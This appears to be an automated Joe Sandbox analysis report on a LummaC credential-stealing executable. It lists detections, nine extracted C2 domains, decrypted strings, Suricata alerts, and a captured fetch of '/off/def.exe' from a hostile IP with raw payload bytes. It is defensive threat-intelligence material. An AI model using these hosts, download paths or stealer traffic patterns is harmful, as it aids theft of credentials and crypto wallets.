Edit tour

Windows Analysis Report
zhMQ0hNEmb.exe

Overview

General Information

Sample name:	zhMQ0hNEmb.exe renamed because original name is a hash value
Original sample name:	c0cfe2d0e64eb0de9ae473d3cf88d4a9.exe
Analysis ID:	1582707
MD5:	c0cfe2d0e64eb0de9ae473d3cf88d4a9
SHA1:	bdaf4ea881904d0f6cb6a5e2786a65ea2a488da0
SHA256:	8812447d76e1ef7b1dbe567acb705e1f2023f2265d99ad83307d858ef429a5b5
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

zhMQ0hNEmb.exe (PID: 7660 cmdline: "C:\Users\user\Desktop\zhMQ0hNEmb.exe" MD5: C0CFE2D0E64EB0DE9AE473D3CF88D4A9)

chrome.exe (PID: 7412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1824,i,7818808876936737613,10262828118435148065,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7652 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1924,i,235823982436672162,2935553708085510166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wholersorie.shop", "abruptyopsn.shop", "cloudewahsj.shop", "framekgirus.shop", "fancywaxxers.shop", "tirepublicerj.shop", "nearycrepso.shop", "rabidcowse.shop", "noisycuttej.shop"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: zhMQ0hNEmb.exe PID: 7660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: zhMQ0hNEmb.exe PID: 7660	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: zhMQ0hNEmb.exe PID: 7660	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:07.566565+0100	2028371	3	Unknown Traffic	192.168.2.9	49706	104.21.112.1	443	TCP
2024-12-31T09:51:08.836246+0100	2028371	3	Unknown Traffic	192.168.2.9	49707	104.21.112.1	443	TCP
2024-12-31T09:51:10.171592+0100	2028371	3	Unknown Traffic	192.168.2.9	49708	104.21.112.1	443	TCP
2024-12-31T09:51:11.447904+0100	2028371	3	Unknown Traffic	192.168.2.9	49709	104.21.112.1	443	TCP
2024-12-31T09:51:12.956765+0100	2028371	3	Unknown Traffic	192.168.2.9	49710	104.21.112.1	443	TCP
2024-12-31T09:51:14.607150+0100	2028371	3	Unknown Traffic	192.168.2.9	49711	104.21.112.1	443	TCP
2024-12-31T09:51:16.197761+0100	2028371	3	Unknown Traffic	192.168.2.9	49712	104.21.112.1	443	TCP
2024-12-31T09:51:19.944908+0100	2028371	3	Unknown Traffic	192.168.2.9	49713	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:08.364351+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49706	104.21.112.1	443	TCP
2024-12-31T09:51:09.295528+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49707	104.21.112.1	443	TCP
2024-12-31T09:51:20.428379+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49713	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:08.364351+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49706	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:09.295528+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49707	104.21.112.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:07.566565+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.9	49706	104.21.112.1	443	TCP
2024-12-31T09:51:08.836246+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.9	49707	104.21.112.1	443	TCP
2024-12-31T09:51:10.171592+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.9	49708	104.21.112.1	443	TCP
2024-12-31T09:51:11.447904+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.9	49709	104.21.112.1	443	TCP
2024-12-31T09:51:12.956765+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.9	49710	104.21.112.1	443	TCP
2024-12-31T09:51:14.607150+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.9	49711	104.21.112.1	443	TCP
2024-12-31T09:51:16.197761+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.9	49712	104.21.112.1	443	TCP
2024-12-31T09:51:19.944908+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.9	49713	104.21.112.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:21.203224+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49715	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:07.009410+0100	2058656	1	Domain Observed Used for C2 Detected	192.168.2.9	58007	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:51:15.022819+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49711	104.21.112.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: zhMQ0hNEmb.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://fancywaxxers.shop/~

Avira URL Cloud: Label: malware

Found malware configuration

Source: zhMQ0hNEmb.exe.7660.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["wholersorie.shop", "abruptyopsn.shop", "cloudewahsj.shop", "framekgirus.shop", "fancywaxxers.shop", "tirepublicerj.shop", "nearycrepso.shop", "rabidcowse.shop", "noisycuttej.shop"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: zhMQ0hNEmb.exe	Virustotal: Detection: 52%			Perma Link
Source: zhMQ0hNEmb.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: zhMQ0hNEmb.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fancywaxxers.shop
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1727704986.0000000000721000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: zhMQ0hNEmb.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49713 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: zhMQ0hNEmb.exe, 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.9:49706 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.9:49712 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.9:49710 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058656 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop) : 192.168.2.9:58007 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.9:49713 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.9:49708 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.9:49707 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.9:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.9:49711 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49707 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49707 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49706 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49706 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49711 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49713 -> 104.21.112.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop

Source: global traffic

TCP traffic: 192.168.2.9:63559 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 31 Dec 2024 08:51:20 GMTContent-Type: application/octet-streamContent-Length: 2880000Last-Modified: Tue, 31 Dec 2024 08:35:23 GMTConnection: keep-aliveETag: "6773accb-2bf200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 9e 9c 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 67 6d 62 68 6d 79 73 00 80 2b 00 00 a0 00 00 00 64 2b 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 74 79 75 78 75 74 77 00 20 00 00 00 20 2c 00 00 04 00 00 00 cc 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2c 00 00 22 00 00 00 d0 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49706 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49712 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49710 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49713 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49708 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49715 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49707 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49711 -> 104.21.112.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
